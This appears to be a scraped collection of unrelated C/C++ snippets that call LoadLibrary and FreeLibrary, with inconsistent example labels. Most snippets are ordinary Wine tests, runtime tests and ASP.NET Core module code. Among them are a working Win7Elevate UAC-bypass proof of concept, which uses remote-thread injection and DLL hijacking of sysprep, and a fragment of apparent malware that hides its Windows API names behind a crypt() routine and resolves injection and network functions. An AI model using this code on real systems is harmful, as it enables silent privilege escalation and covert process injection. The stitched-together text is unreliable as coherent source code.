Example #1
0
static void ll_unloadlib (void *lib) {
  FreeLibrary((HINSTANCE)lib);
}
Example #2
0
extern "C" LONG ALMCALLBACK WndAdminProc(
  OBJECTID                oiWindow,
  AObjMessage*            theSystem)
  {
  WINDOW*                 wnd;
  LONG                    rVal = A_NOTHANDLED;

  switch(theSystem->message1)
    {
    case AOBJ_AWAKENED:
      #ifdef AW_I_DEBUG
      g_nLayoutUseCount++;
      if (!g_hinstLayout)
        {
        I_ASSERT(g_nLayoutUseCount==1);
        g_hinstLayout = LoadLibrary("ALM_WLAY.DLL");
        ADBG_PRINT_I("Preloading Layout Editor");
        }
      #endif
      rVal = A_OK;
      break;

    case AOBJ_CREATED:
      #ifdef AW_I_DEBUG
      g_nLayoutUseCount++;
      if (!g_hinstLayout)
        {
        I_ASSERT(g_nLayoutUseCount==1);
        g_hinstLayout = LoadLibrary("ALM_WLAY.DLL");
        ADBG_PRINT_I("Preloading Layout Editor");
        }
      #endif

      wnd = new(oiWindow) WINDOW(oiWindow);  //The locks the data
      delete wnd;  //Just unlocks the data -- DOES NOT DELETE THE DATAS!!!
      rVal = A_OK;
      break;

    case AOBJ_DESTROYED:
    case AOBJ_ASLEEP:
      #ifdef AW_I_DEBUG
      g_nLayoutUseCount--;
      if(g_nLayoutUseCount==0)
        {
        FreeLibrary(g_hinstLayout);
        g_hinstLayout = NULL;
        g_lpfnEditWnd = NULL;
        g_lpfnItemFromUID = NULL;
        ADBG_PRINT_I("Unloading Layout Editor");
        }
      #endif
      rVal = A_CONTINUE;
      break;

    case AOBJ_ASSIGNOBJECT:
      //Assignment of a window object is not yet defined
      break;

    case AOBJ_PREWRITE:
      if (theSystem->message4 != /*AOBJ_PROJECTSAVE*/2)
        {
        wnd = LockWindowData(oiWindow);
        I_VERIFY_POINTER(wnd, break);
        if(wnd->PutItemsIntoDatas())
          rVal = A_CONTINUE;
        else
          rVal = A_NOTHANDLED;
        UnlockWindowData(oiWindow);
        }
      else
Example #3
0
int __cdecl main(int argc, char *argv[])
{
    int err;
    HMODULE hModule;
    SIMPLEFUNCTION procAddressByName;

#if WIN32
    const char *FunctionName = "_SimpleFunction@4";
#else
    const char *FunctionName = "SimpleFunction";
#endif

    /* Initialize the PAL environment. */
    if(0 != PAL_Initialize(argc, argv))
    {
        return FAIL;
    }


    /* load a module */
    hModule = LoadLibrary(lpModuleName);
    if(!hModule)
    {
        Fail("Unexpected error: "
             "LoadLibrary(%s) failed.\n",
             lpModuleName);
    }

    /*
     * Test 1
     *
     * Get the address of a function 
     */
    procAddressByName = (SIMPLEFUNCTION) GetProcAddress(hModule,FunctionName);
    if(!procAddressByName)
	{
        Trace("ERROR: Unable to get address of SimpleFunction by its name. "
              "GetProcAddress returned NULL with error %d\n",
              GetLastError());

         /* Cleanup */
        err = FreeLibrary(hModule);
        if(0 == err)
	    {
            Fail("Unexpected error: Failed to FreeLibrary %s\n", 
                 lpModuleName);
	    }
        Fail("");
	}

    /* Call the function to see that it really worked */
    /* Simple function adds 1 to the argument passed */
    if( 2 != ((procAddressByName)(1)))
    { 
        Trace("ERROR: Problem calling the function by its address.\n");
         
        /* Cleanup */
        err = FreeLibrary(hModule);
        if(0 == err)
	    {
            Fail("Unexpected error: Failed to FreeLibrary %s\n", 
                 lpModuleName);
	    }
        Fail("");
    }

    /* Cleanup */
    err = FreeLibrary(hModule);
    if(0 == err)
	{
        Fail("Unexpected error: Failed to FreeLibrary %s\n", 
             lpModuleName);
	}

    PAL_Terminate();
    return PASS;
}
void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD dwPid, const wchar_t *szProcName,
								 const wchar_t *szCmd, const wchar_t *szArgs, const wchar_t *szDir,
								 const wchar_t *szPathToOurDll, 
								 DWORD (__stdcall *Redirector)(void))
{
	bool bThreadWaitSuccess = false;
	bool bThreadWaitFailure = false;
	HANDLE hTargetProc = NULL;

	const BYTE * codeStartAdr = reinterpret_cast< const BYTE * >( &RemoteCodeFunc );
	const BYTE * codeEndAdr   = reinterpret_cast< const BYTE * >( &DummyRemoteCodeFuncEnd );

	if (codeStartAdr >= codeEndAdr)
	{
		//MessageBox(hWnd, L"Unexpected function layout", L"Win7Elevate", MB_OK | MB_ICONWARNING);
		CLogger::LogLine(L"Unexpected function layout");
		return;
	}

	wchar_t szPathToSelf[MAX_PATH];

	DWORD dwGMFNRes = GetModuleFileName(NULL, szPathToSelf, _countof(szPathToSelf));

	if (dwGMFNRes == 0 || dwGMFNRes >= _countof(szPathToSelf))
	{
		//MessageBox(hWnd, L"Couldn't get path to self", L"Win7Elevate", MB_OK | MB_ICONWARNING);
		CLogger::LogLine(L"Couldn't get path to self");
		return;
	}

	wchar_t szProgramFiles[MAX_PATH];

	HRESULT hr = SHGetFolderPath(NULL, CSIDL_PROGRAM_FILES, NULL, SHGFP_TYPE_CURRENT, szProgramFiles);

	if (S_OK != hr)
	{
		//MessageBox(hWnd, L"SHGetFolderPath failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
		CLogger::LogLine(L"SHGetFolderPath failed");
		return;
	}

	HMODULE hModKernel32 = LoadLibrary(L"kernel32.dll");

	if (hModKernel32 == 0)
	{
		//MessageBox(hWnd, L"Couldn't load kernel32.dll", L"Win7Elevate", MB_OK | MB_ICONWARNING);
		CLogger::LogLine(L"Couldn't load kernel32.dll");
		return;
	}	

	W7EUtils::GetProcAddr< BOOL    (WINAPI *)(HMODULE)         > tfpFreeLibrary(         &GetProcAddress, hModKernel32, "FreeLibrary");
	W7EUtils::GetProcAddr< HMODULE (WINAPI *)(LPCWSTR)         > tfpLoadLibrary(         &GetProcAddress, hModKernel32, "LoadLibraryW");
	W7EUtils::GetProcAddr< FARPROC (WINAPI *)(HMODULE, LPCSTR) > tfpGetProcAddress(      &GetProcAddress, hModKernel32, "GetProcAddress");
	W7EUtils::GetProcAddr< BOOL    (WINAPI *)(HANDLE)          > tfpCloseHandle(         &GetProcAddress, hModKernel32, "CloseHandle");
	W7EUtils::GetProcAddr< DWORD   (WINAPI *)(HANDLE,DWORD)    > tfpWaitForSingleObject( &GetProcAddress, hModKernel32, "WaitForSingleObject");

	if (0 == tfpFreeLibrary.f
	||	0 == tfpLoadLibrary.f
	||	0 == tfpGetProcAddress.f
	||	0 == tfpCloseHandle.f
	||	0 == tfpWaitForSingleObject.f)
	{
		//MessageBox(hWnd, L"Couldn't find API", L"Win7Elevate", MB_OK | MB_ICONWARNING);
		CLogger::LogLine(L"Couldn't find API");
	}
	else
	{
		// Here we define the target process and DLL for "part 2." This is an auto/silent-elevating process which isn't
		// directly below System32 and which loads a DLL which is directly below System32 but isn't on the OS's "Known DLLs" list.
		// If we copy our own DLL with the same name to the exe's folder then the exe will load our DLL instead of the real one.
		const wchar_t *szElevDir = L"C:\\Windows\\System32\\sysprep";
		const wchar_t *szElevDll = L"CRYPTBASE.dll";
		const wchar_t *szElevDllFull = L"C:\\Windows\\System32\\sysprep\\CRYPTBASE.dll";
		const wchar_t *szElevExeFull = L"C:\\Windows\\System32\\sysprep\\sysprep.exe";
		std::wstring strElevArgs = L"\"";
//		strElevArgs += szElevExeFull;
//		strElevArgs += L"\" \"";
		strElevArgs += szCmd;
		strElevArgs += L"\" \"";
		strElevArgs += szDir;
		strElevArgs += L"\" \"";
		for (const wchar_t *pCmdArgChar = szArgs; *szArgs; ++szArgs)
		{
			if (*szArgs != L'\"')
			{
				strElevArgs += *szArgs;
			}
			else
			{
				strElevArgs += L"\"\"\""; // Turn each quote into three to preserve them in the arguments.
			}
		}
		strElevArgs += L"\"";

		if (!bInject)
		{
			// Test code without remoting.
			// This should result in a UAC prompt, if UAC is on at all and we haven't been launched as admin.

			// Satisfy CreateProcess's non-const args requirement
			wchar_t *szElevArgsNonConst = new wchar_t[strElevArgs.length() + 1];
			wcscpy_s(szElevArgsNonConst, strElevArgs.length() + 1, strElevArgs.c_str());

			InjectArgs ia;
			ia.fpFreeLibrary         = tfpFreeLibrary.f;
			ia.fpLoadLibrary         = tfpLoadLibrary.f;
			ia.fpGetProcAddress      = tfpGetProcAddress.f;
			ia.fpCloseHandle         = tfpCloseHandle.f;
			ia.fpWaitForSingleObject = tfpWaitForSingleObject.f;
			ia.szSourceDll           = szPathToOurDll;
			ia.szElevDir             = szElevDir;
			ia.szElevDll             = szElevDll;
			ia.szElevDllFull         = szElevDllFull;
			ia.szElevExeFull         = szElevExeFull;
			ia.szElevArgs            = szElevArgsNonConst;
			ia.szShell32             = L"shell32.dll";
			ia.szOle32               = L"ole32.dll";
			ia.szCoInitialize        = "CoInitialize";
			ia.szCoUninitialize      = "CoUninitialize";
			ia.szCoGetObject         = "CoGetObject";
			ia.szCoCreateInstance    = "CoCreateInstance";
			ia.szSHCreateItemFPN     = "SHCreateItemFromParsingName";
			ia.szShellExecuteExW     = "ShellExecuteExW";
			ia.szEIFOMoniker         = bElevate ? L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" : NULL;
			ia.pIID_EIFOClass        = bElevate ? NULL : &__uuidof(FileOperation);
			ia.pIID_EIFO             = &__uuidof(IFileOperation);
			ia.pIID_ShellItem2       = &__uuidof(IShellItem2);
			ia.pIID_Unknown          = &__uuidof(IUnknown);

			RemoteCodeFunc(&ia);

			delete[] szElevArgsNonConst;
		}
		else if (W7EUtils::OpenProcessToInject(hWnd, &hTargetProc, dwPid, szProcName))
		{
			// Test code with remoting.
			// At least as of RC1 build 7100, with the default OS settings, this will run the specified command
			// with elevation but without triggering a UAC prompt.

			// Scope CRemoteMemory so it's destroyed before the process handle is closed.
			{
				W7EUtils::CRemoteMemory reme(hTargetProc);

				InjectArgs ia;
				// ASSUMPTION: Remote process has same ASLR setting as us (i.e. ASLR = on)
				//             kernel32.dll is mapped to the same address range in both processes.
				ia.fpFreeLibrary         = tfpFreeLibrary.f;
				ia.fpLoadLibrary         = tfpLoadLibrary.f;
				ia.fpGetProcAddress      = tfpGetProcAddress.f;
				ia.fpCloseHandle         = tfpCloseHandle.f;
				ia.fpWaitForSingleObject = tfpWaitForSingleObject.f;

				// It would be more efficient to allocate and copy the data in one
				// block but since this is just a proof-of-concept I don't bother.

				ia.szSourceDll           = reme.AllocAndCopyMemory(szPathToOurDll);
				ia.szElevDir             = reme.AllocAndCopyMemory(szElevDir);
				ia.szElevDll             = reme.AllocAndCopyMemory(szElevDll);
				ia.szElevDllFull         = reme.AllocAndCopyMemory(szElevDllFull);
				ia.szElevExeFull         = reme.AllocAndCopyMemory(szElevExeFull);
				ia.szElevArgs            = reme.AllocAndCopyMemory(strElevArgs.c_str(), false); // Leave this page writeable for CreateProcess.
									 
				ia.szShell32             = reme.AllocAndCopyMemory(L"shell32.dll");
				ia.szOle32               = reme.AllocAndCopyMemory(L"ole32.dll");
				ia.szCoInitialize        = reme.AllocAndCopyMemory("CoInitialize");
				ia.szCoUninitialize      = reme.AllocAndCopyMemory("CoUninitialize");
				ia.szCoGetObject         = reme.AllocAndCopyMemory("CoGetObject");
				ia.szCoCreateInstance    = reme.AllocAndCopyMemory("CoCreateInstance");
				ia.szSHCreateItemFPN     = reme.AllocAndCopyMemory("SHCreateItemFromParsingName");
				ia.szShellExecuteExW     = reme.AllocAndCopyMemory("ShellExecuteExW");
				ia.szEIFOMoniker         = bElevate ? reme.AllocAndCopyMemory(L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}") : NULL;
				ia.pIID_EIFOClass        = bElevate ? NULL : reinterpret_cast< const IID * >( reme.AllocAndCopyMemory(&__uuidof(FileOperation), sizeof(__uuidof(FileOperation)), false) );
				ia.pIID_EIFO             = reinterpret_cast< const IID * >( reme.AllocAndCopyMemory(&__uuidof(IFileOperation), sizeof(__uuidof(IFileOperation)), false) );
				ia.pIID_ShellItem2       = reinterpret_cast< const IID * >( reme.AllocAndCopyMemory(&__uuidof(IShellItem2),    sizeof(__uuidof(IShellItem2)),    false) );
				ia.pIID_Unknown          = reinterpret_cast< const IID * >( reme.AllocAndCopyMemory(&__uuidof(IUnknown),       sizeof(__uuidof(IUnknown)),       false) );

				void *pRemoteArgs = reme.AllocAndCopyMemory(&ia, sizeof(ia), false);

				void *pRemoteFunc = reme.AllocAndCopyMemory( RemoteCodeFunc, codeEndAdr - codeStartAdr, true);

				if (reme.AnyFailures())
				{
					//MessageBox(hWnd, L"Remote allocation failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
					CLogger::LogLine(L"Remote allocation failed");
				}
				else
				{
					HANDLE hRemoteThread = CreateRemoteThread(hTargetProc, NULL, 0, reinterpret_cast< LPTHREAD_START_ROUTINE >( pRemoteFunc ), pRemoteArgs, 0, NULL);

					if (hRemoteThread == 0)
					{
						//MessageBox(hWnd, L"Couldn't create remote thread", L"Win7Elevate", MB_OK | MB_ICONWARNING);
						CLogger::LogLine(
							CError::Format( 
								GetLastError(),
								L"Couldn't create remote thread", 
								L"CreateRemoteThread"));

					}
					else
					{
						if ( Redirector )
							Redirector();

						while(true)
						{
							DWORD dwWaitRes = WaitForSingleObject(hRemoteThread, 10000);

							if (dwWaitRes == WAIT_OBJECT_0)
							{
								bThreadWaitSuccess = true;
								break;
							}
							else if (dwWaitRes != WAIT_TIMEOUT)
							{
								bThreadWaitFailure = true;
								break;
							}
							//else if (IDCANCEL == MessageBox(hWnd, L"Continue waiting for remote thread to complete?", L"Win7Elevate", MB_OKCANCEL | MB_ICONQUESTION))
							else
							{
								CLogger::LogLine(L"Continue waiting for remote thread to complete? : NO");
								// See if it completed before the user asked to stop waiting.
								// Code that wasn't just a proof-of-concept would use a worker thread that could cancel the wait UI.
								if (WAIT_OBJECT_0 == WaitForSingleObject(hRemoteThread, 0))
								{
									bThreadWaitSuccess = true;
								}
								break;
							}
						}

						if (!bThreadWaitSuccess)
						{
							// The memory in the other process could still be in use.
							// Freeing it now will almost certainly crash the other process.
							// Letting it leak is the lesser of two evils...
							reme.LeakMemory();
						}
					}
				}
			}
			CloseHandle(hTargetProc);
		}
	}

	FreeLibrary(hModKernel32);

	if (bThreadWaitFailure)
	{
		//MessageBox(hWnd, L"Error waiting on the remote thread to complete", L"Win7Elevate", MB_OK | MB_ICONWARNING);
		CLogger::LogLine(L"Error waiting on the remote thread to complete");
	}
	else if (bThreadWaitSuccess)
	{
		//MessageBox(hWnd, L"Remote thread completed", L"Win7Elevate", MB_OK | MB_ICONINFORMATION);
		CLogger::LogLine(L"Remote thread completed");
	}
}
Example #5
0
static void test_profile_items(void)
{
    char path[MAX_PATH], commonprogs[MAX_PATH];
    HMODULE hShell32;
    BOOL (WINAPI *pSHGetFolderPathA)(HWND hwnd, int nFolder, HANDLE hToken, DWORD dwFlags, LPSTR pszPath);

    static const char *inf =
        "[Version]\n"
        "Signature=\"$Chicago$\"\n"
        "[DefaultInstall]\n"
        "ProfileItems=TestItem,TestItem2,TestGroup\n"
        "[TestItem]\n"
        "Name=TestItem\n"
        "CmdLine=11,,notepad.exe\n"
        "[TestItem2]\n"
        "Name=TestItem2\n"
        "CmdLine=11,,notepad.exe\n"
        "SubDir=TestDir\n"
        "[TestGroup]\n"
        "Name=TestGroup,4\n"
        ;

    hShell32 = LoadLibraryA("shell32");
    pSHGetFolderPathA = (void*)GetProcAddress(hShell32, "SHGetFolderPathA");
    if (!pSHGetFolderPathA)
    {
        win_skip("SHGetFolderPathA is not available\n");
        goto cleanup;
    }

    if (S_OK != pSHGetFolderPathA(NULL, CSIDL_COMMON_PROGRAMS, NULL, SHGFP_TYPE_CURRENT, commonprogs))
    {
        skip("No common program files directory exists\n");
        goto cleanup;
    }

    create_inf_file(inffile, inf);
    sprintf(path, "%s\\%s", CURR_DIR, inffile);
    run_cmdline("DefaultInstall", 128, path);

    snprintf(path, MAX_PATH, "%s\\TestItem.lnk", commonprogs);
    if (INVALID_FILE_ATTRIBUTES == GetFileAttributesA(path))
    {
        win_skip("ProfileItems not implemented on this system\n");
    }
    else
    {
        snprintf(path, MAX_PATH, "%s\\TestDir", commonprogs);
        ok(INVALID_FILE_ATTRIBUTES != GetFileAttributesA(path), "directory not created\n");
        snprintf(path, MAX_PATH, "%s\\TestDir\\TestItem2.lnk", commonprogs);
        ok(INVALID_FILE_ATTRIBUTES != GetFileAttributesA(path), "link not created\n");
        snprintf(path, MAX_PATH, "%s\\TestGroup", commonprogs);
        ok(INVALID_FILE_ATTRIBUTES != GetFileAttributesA(path), "group not created\n");
    }

    snprintf(path, MAX_PATH, "%s\\TestItem.lnk", commonprogs);
    DeleteFileA(path);
    snprintf(path, MAX_PATH, "%s\\TestDir\\TestItem2.lnk", commonprogs);
    DeleteFileA(path);
    snprintf(path, MAX_PATH, "%s\\TestItem2.lnk", commonprogs);
    DeleteFileA(path);
    snprintf(path, MAX_PATH, "%s\\TestDir", commonprogs);
    RemoveDirectoryA(path);
    snprintf(path, MAX_PATH, "%s\\TestGroup", commonprogs);
    RemoveDirectoryA(path);

cleanup:
    if (hShell32) FreeLibrary(hShell32);
    DeleteFileA(inffile);
}
Example #6
0
void DllInterface::UnInitialize()
{
	FreeLibrary(m_hinst);
	m_the_app.DllUnInitialize();
}
Example #7
0
static void testLoadLibraryEx(void)
{
    CHAR path[MAX_PATH];
    HMODULE hmodule;
    HANDLE hfile;
    BOOL ret;

    hfile = CreateFileA("testfile.dll", GENERIC_READ | GENERIC_WRITE,
                        FILE_SHARE_READ | FILE_SHARE_WRITE,
                        NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
    ok(hfile != INVALID_HANDLE_VALUE, "Expected a valid file handle\n");

    /* NULL lpFileName */
    if (is_unicode_enabled)
    {
        SetLastError(0xdeadbeef);
        hmodule = LoadLibraryExA(NULL, NULL, 0);
        ok(hmodule == 0, "Expected 0, got %p\n", hmodule);
        ok(GetLastError() == ERROR_MOD_NOT_FOUND ||
           GetLastError() == ERROR_INVALID_PARAMETER, /* win9x */
           "Expected ERROR_MOD_NOT_FOUND or ERROR_INVALID_PARAMETER, got %d\n",
           GetLastError());
    }
    else
        win_skip("NULL filename crashes on WinMe\n");

    /* empty lpFileName */
    SetLastError(0xdeadbeef);
    hmodule = LoadLibraryExA("", NULL, 0);
    ok(hmodule == 0, "Expected 0, got %p\n", hmodule);
    ok(GetLastError() == ERROR_MOD_NOT_FOUND ||
       GetLastError() == ERROR_DLL_NOT_FOUND /* win9x */ ||
       GetLastError() == ERROR_INVALID_PARAMETER /* win8 */,
       "Expected ERROR_MOD_NOT_FOUND or ERROR_DLL_NOT_FOUND, got %d\n",
       GetLastError());

    /* hFile is non-NULL */
    SetLastError(0xdeadbeef);
    hmodule = LoadLibraryExA("testfile.dll", hfile, 0);
    ok(hmodule == 0, "Expected 0, got %p\n", hmodule);
    todo_wine
    {
        ok(GetLastError() == ERROR_SHARING_VIOLATION ||
        GetLastError() == ERROR_INVALID_PARAMETER || /* win2k3 */
        GetLastError() == ERROR_FILE_NOT_FOUND, /* win9x */
        "Unexpected last error, got %d\n", GetLastError());
    }

    SetLastError(0xdeadbeef);
    hmodule = LoadLibraryExA("testfile.dll", (HANDLE)0xdeadbeef, 0);
    ok(hmodule == 0, "Expected 0, got %p\n", hmodule);
    todo_wine
    {
        ok(GetLastError() == ERROR_SHARING_VIOLATION ||
        GetLastError() == ERROR_INVALID_PARAMETER || /* win2k3 */
        GetLastError() == ERROR_FILE_NOT_FOUND, /* win9x */
        "Unexpected last error, got %d\n", GetLastError());
    }

    /* try to open a file that is locked */
    SetLastError(0xdeadbeef);
    hmodule = LoadLibraryExA("testfile.dll", NULL, 0);
    ok(hmodule == 0, "Expected 0, got %p\n", hmodule);
    todo_wine
    {
        ok(GetLastError() == ERROR_SHARING_VIOLATION ||
        GetLastError() == ERROR_FILE_NOT_FOUND, /* win9x */
        "Expected ERROR_SHARING_VIOLATION or ERROR_FILE_NOT_FOUND, got %d\n",
        GetLastError());
    }

    /* lpFileName does not matter */
    if (is_unicode_enabled)
    {
        SetLastError(0xdeadbeef);
        hmodule = LoadLibraryExA(NULL, hfile, 0);
        ok(hmodule == 0, "Expected 0, got %p\n", hmodule);
        ok(GetLastError() == ERROR_MOD_NOT_FOUND ||
           GetLastError() == ERROR_INVALID_PARAMETER, /* win2k3 */
           "Expected ERROR_MOD_NOT_FOUND or ERROR_INVALID_PARAMETER, got %d\n",
           GetLastError());
    }

    CloseHandle(hfile);

    /* load empty file */
    SetLastError(0xdeadbeef);
    hmodule = LoadLibraryExA("testfile.dll", NULL, LOAD_LIBRARY_AS_DATAFILE);
    ok(hmodule == 0, "Expected 0, got %p\n", hmodule);
    todo_wine
    {
        ok(GetLastError() == ERROR_FILE_INVALID ||
        GetLastError() == ERROR_BAD_FORMAT, /* win9x */
        "Expected ERROR_FILE_INVALID or ERROR_BAD_FORMAT, got %d\n",
        GetLastError());
    }

    DeleteFileA("testfile.dll");

    GetSystemDirectoryA(path, MAX_PATH);
    if (path[lstrlenA(path) - 1] != '\\')
        lstrcatA(path, "\\");
    lstrcatA(path, "kernel32.dll");

    /* load kernel32.dll with an absolute path */
    SetLastError(0xdeadbeef);
    hmodule = LoadLibraryExA(path, NULL, LOAD_LIBRARY_AS_DATAFILE);
    ok(hmodule != 0, "Expected valid module handle\n");
    ok(GetLastError() == 0xdeadbeef ||
       GetLastError() == ERROR_SUCCESS, /* win9x */
       "Expected 0xdeadbeef or ERROR_SUCCESS, got %d\n", GetLastError());

    /* try invalid file handle */
    SetLastError(0xdeadbeef);
    hmodule = LoadLibraryExA(path, (HANDLE)0xdeadbeef, 0);
    if (!hmodule)  /* succeeds on xp and older */
        ok(GetLastError() == ERROR_INVALID_PARAMETER, "wrong error %u\n", GetLastError());

    FreeLibrary(hmodule);

    /* load kernel32.dll with no path */
    SetLastError(0xdeadbeef);
    hmodule = LoadLibraryExA("kernel32.dll", NULL, LOAD_LIBRARY_AS_DATAFILE);
    ok(hmodule != 0, "Expected valid module handle\n");
    ok(GetLastError() == 0xdeadbeef ||
       GetLastError() == ERROR_SUCCESS, /* win9x */
       "Expected 0xdeadbeef or ERROR_SUCCESS, got %d\n", GetLastError());

    FreeLibrary(hmodule);

    GetCurrentDirectoryA(MAX_PATH, path);
    if (path[lstrlenA(path) - 1] != '\\')
        lstrcatA(path, "\\");
    lstrcatA(path, "kernel32.dll");

    /* load kernel32.dll with an absolute path that does not exist */
    SetLastError(0xdeadbeef);
    hmodule = LoadLibraryExA(path, NULL, LOAD_LIBRARY_AS_DATAFILE);
    todo_wine
    {
        ok(hmodule == 0, "Expected 0, got %p\n", hmodule);
    }
    ok(GetLastError() == ERROR_FILE_NOT_FOUND ||
       broken(GetLastError() == ERROR_INVALID_HANDLE),  /* nt4 */
       "Expected ERROR_FILE_NOT_FOUND, got %d\n", GetLastError());

    /* Free the loaded dll when it's the first time this dll is loaded
       in process - First time should pass, second fail */
    SetLastError(0xdeadbeef);
    hmodule = LoadLibraryExA("comctl32.dll", NULL, LOAD_LIBRARY_AS_DATAFILE);
    ok(hmodule != 0, "Expected valid module handle\n");

    SetLastError(0xdeadbeef);
    ret = FreeLibrary(hmodule);
    ok(ret, "Expected to be able to free the module, failed with %d\n", GetLastError());
    SetLastError(0xdeadbeef);
    ret = FreeLibrary(hmodule);
    ok(!ret, "Unexpected ability to free the module, failed with %d\n", GetLastError());

    /* load with full path, name without extension */
    GetSystemDirectoryA(path, MAX_PATH);
    if (path[lstrlenA(path) - 1] != '\\')
        lstrcatA(path, "\\");
    lstrcatA(path, "kernel32");
    hmodule = LoadLibraryExA(path, NULL, 0);
    ok(hmodule != NULL, "got %p\n", hmodule);
    FreeLibrary(hmodule);

    /* same with alterate search path */
    hmodule = LoadLibraryExA(path, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
    ok(hmodule != NULL, "got %p\n", hmodule);
    FreeLibrary(hmodule);
}
// 
// Tries to find aspnetcorerh.dll from the application
// Calls into hostfxr.dll to find it.
// Will leave hostfxr.dll loaded as it will be used again to call hostfxr_main.
// 
HRESULT
APPLICATION_INFO::FindNativeAssemblyFromHostfxr(
    STRU* struFilename
)
{
    HRESULT     hr = S_OK;
    STRU        struApplicationFullPath;
    STRU        struNativeSearchPaths;
    STRU        struNativeDllLocation;
    HMODULE     hmHostFxrDll = NULL;
    INT         intHostFxrExitCode = 0;
    INT         intIndex = -1;
    INT         intPrevIndex = 0;
    BOOL        fFound = FALSE;
    DWORD       dwBufferSize = 1024 * 10;
    DWORD       dwRequiredBufferSize = 0;

    DBG_ASSERT(struFileName != NULL);

    hmHostFxrDll = LoadLibraryW(m_pConfiguration->QueryHostFxrFullPath());

    if (hmHostFxrDll == NULL)
    {
        // Could not load hostfxr
        hr = HRESULT_FROM_WIN32(GetLastError());
        goto Finished;
    }

    hostfxr_get_native_search_directories_fn pFnHostFxrSearchDirectories = (hostfxr_get_native_search_directories_fn)
        GetProcAddress(hmHostFxrDll, "hostfxr_get_native_search_directories");

    if (pFnHostFxrSearchDirectories == NULL)
    {
        // Host fxr version is incorrect (need a higher version).
        // TODO log error 
        hr = E_FAIL;
        goto Finished;
    }

    if (FAILED(hr = struNativeSearchPaths.Resize(dwBufferSize)))
    {
        goto Finished;
    }

    while (TRUE)
    {
        intHostFxrExitCode = pFnHostFxrSearchDirectories(
            m_pConfiguration->QueryHostFxrArgCount(),
            m_pConfiguration->QueryHostFxrArguments(),
            struNativeSearchPaths.QueryStr(),
            dwBufferSize,
            &dwRequiredBufferSize
        );

        if (intHostFxrExitCode == 0)
        {
            break;
        }
        else if (dwRequiredBufferSize > dwBufferSize)
        {
            dwBufferSize = dwRequiredBufferSize + 1; // for null terminator

            if (FAILED(hr = struNativeSearchPaths.Resize(dwBufferSize)))
            {
                goto Finished;
            }
        }
        else
        {
            hr = E_FAIL;
            // Log "Error finding native search directories from aspnetcore application.
            goto Finished;
        }
    }

    if (FAILED(hr = struNativeSearchPaths.SyncWithBuffer()))
    {
        goto Finished;
    }

    fFound = FALSE;

    // The native search directories are semicolon delimited.
    // Split on semicolons, append aspnetcorerh.dll, and check if the file exists.
    while ((intIndex = struNativeSearchPaths.IndexOf(L";", intPrevIndex)) != -1)
    {
        if (FAILED(hr = struNativeDllLocation.Copy(&struNativeSearchPaths.QueryStr()[intPrevIndex], intIndex - intPrevIndex)))
        {
            goto Finished;
        }

        if (!struNativeDllLocation.EndsWith(L"\\"))
        {
            if (FAILED(hr = struNativeDllLocation.Append(L"\\")))
            {
                goto Finished;
            }
        }

        if (FAILED(hr = struNativeDllLocation.Append(g_pwzAspnetcoreRequestHandlerName)))
        {
            goto Finished;
        }

        if (UTILITY::CheckIfFileExists(struNativeDllLocation.QueryStr()))
        {
            if (FAILED(hr = struFilename->Copy(struNativeDllLocation)))
            {
                goto Finished;
            }
            fFound = TRUE;
            break;
        }

        intPrevIndex = intIndex + 1;
    }

    if (!fFound)
    {
        hr = E_FAIL;
        goto Finished;
    }

Finished:
    if (FAILED(hr) && hmHostFxrDll != NULL)
    {
        FreeLibrary(hmHostFxrDll);
    }
    return hr;
}
int main() 
{
 char curpath[MAX_PATH];
 char windir [MAX_PATH];
 char isdwnd [2];

 unsigned long dwThreadId;
 unsigned long dwThrSize;
 unsigned long pid;
 unsigned long issize = sizeof(isdwnd);

 void *pRemoteThread,*hProcess,*hCurrentProc,*hToken;
 
 HINSTANCE kernel32,user32,advapi32,wininet,shell32;
 HWND window;

 InjS InjL,*pInjL;

  //Load Libraries
  kernel32 = LoadLibrary(crypt("ifvkck;;$o`a"));
  user32   = LoadLibrary(crypt("wpaw55&mfg"));
  advapi32 = LoadLibrary(crypt("cgrdvn;;$o`a"));
  wininet  = LoadLibrary(crypt("ujjlhb|'ng`"));
  shell32  = LoadLibrary(crypt("qkaij4:'ng`"));

  //kernel32 Apis
  fGetModuleHandle  = (Getm)GetProcAddress(kernel32,crypt("EfpHic}eoCmcjcuP"));
  fOpenProcess      = (Open)GetProcAddress(kernel32,crypt("MsakVugjox"));
  fVirtualFreeEx    = (Vfex)GetProcAddress(kernel32,crypt("TjvqsfdOxniHv"));
  fVirtualAllocEx   = (Vaex)GetProcAddress(kernel32,crypt("TjvqsfdHfgcnKw"));
  fVirtualFreeEx    = (Vife)GetProcAddress(kernel32,crypt("TjvqsfdOxniHv"));
  fWriteProcessMem  = (Vprm)GetProcAddress(kernel32,crypt("UqmqcWzfin~Cj}~`j"));
  fCreateRemoteThr  = (Crth)GetProcAddress(kernel32,crypt("AqadrbZlgdxhZgbtsw"));
  fExitThread       = (Exit)GetProcAddress(kernel32,crypt("G{mqRozlko"));
  fZeroMemory       = (Zero)GetProcAddress(kernel32,crypt("Pwh_cugDofcw"));
  fGetCurrentProc   = (GetP)GetProcAddress(kernel32,crypt("EfpFsuzld\\aluba"));
  fSleep	        = (Slee)GetProcAddress(kernel32,crypt("Qoa`v"));
  fCreateMutex      = (Crea)GetProcAddress(kernel32,crypt("AqadrbE|~ntL"));
  fGetLastError     = (Gtle)GetProcAddress(kernel32,crypt("EfpIgt|Lxyc"));
  fGetModuleHandle  = (Ghma)GetProcAddress(kernel32,crypt("EfpHic}eoCmcjcuP"));
  fGetModuleFileN   = (Gmfn)GetProcAddress(kernel32,crypt("EfpHic}eoMeakAq|wR"));
  fGetWinDir        = (Gwdi)GetProcAddress(kernel32,crypt("EfpRoilf}xHd|jse}amT"));
  fCopyFile         = (Cpfi)GetProcAddress(kernel32,crypt("Alt|@ndlK"));
  fCreateFile       = (Cref)GetProcAddress(kernel32,crypt("AqadrbN`fnM"));
  fWriteFile        = (Wref)GetProcAddress(kernel32,crypt("UqmqcAaeo"));
  fExitThread       = (Extt)GetProcAddress(kernel32,crypt("G{mqRozlko"));
  fCloseHandle      = (Clos)GetProcAddress(kernel32,crypt("AokvcOigngi"));
  
  //advapi32 apis
